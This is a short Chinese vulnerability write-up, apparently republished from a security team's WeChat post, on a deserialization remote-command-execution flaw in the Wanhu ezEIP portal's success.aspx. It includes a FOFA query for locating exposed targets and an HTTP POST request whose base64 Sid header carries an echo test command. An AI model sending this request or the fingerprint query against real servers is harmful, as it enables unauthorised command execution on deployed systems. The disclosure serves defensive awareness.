免责声明
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本文内容旨在提供有关特定漏洞或安全漏洞的信息，以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步，并非出于任何恶意目的。 阅读者应该明白，在利用本文提到的漏洞信息或进行相关测试时，可能会违反某些法律法规或服务协议。同时，未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。 作者不对读者基于本文内容而产生的任何行为或后果承担责任。读者在使用本文所提供的信息时，必须遵守适用法律法规和相关服务协议，并独自承担所有风险和责任。 |
产品简介
万户ezEIP全网站门户管理系统是一个富含可扩展模块的便捷建站系统，系统拥有完善的多用户组权限管理和通用的前台信息内容管理，便于企业在运营网站时的多个管理角色对网站内容的协同管理。
漏洞描述
万户ezEIP success.aspx 存在反序列化漏洞，攻击者可以利用此漏洞执行任意命令，通过该漏洞可以获取服务器权限
Fofa
app="万户网络-ezEIP"漏洞复现
Sid 的值为 base64 编码过后的内容：echo qjd53g5LZLkFk4pCHGSHGYIvNjzvo0q7
POST /member/success.aspx HTTP/2
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Sid: ZWNobyBxamQ1M2c1TFpMa0ZrNHBDSEdTSEdZSXZOanp2bzBxNw==
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Type: C
Content-Length: 16702
Accept-Encoding: gzip, deflate, br
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修复建议
请关注厂商的修复版本，并及时更新到最新版本原文始发于微信公众号（凝聚力安全团队）：【漏洞复现】万户-ezEIP success.aspx 反序列化漏洞
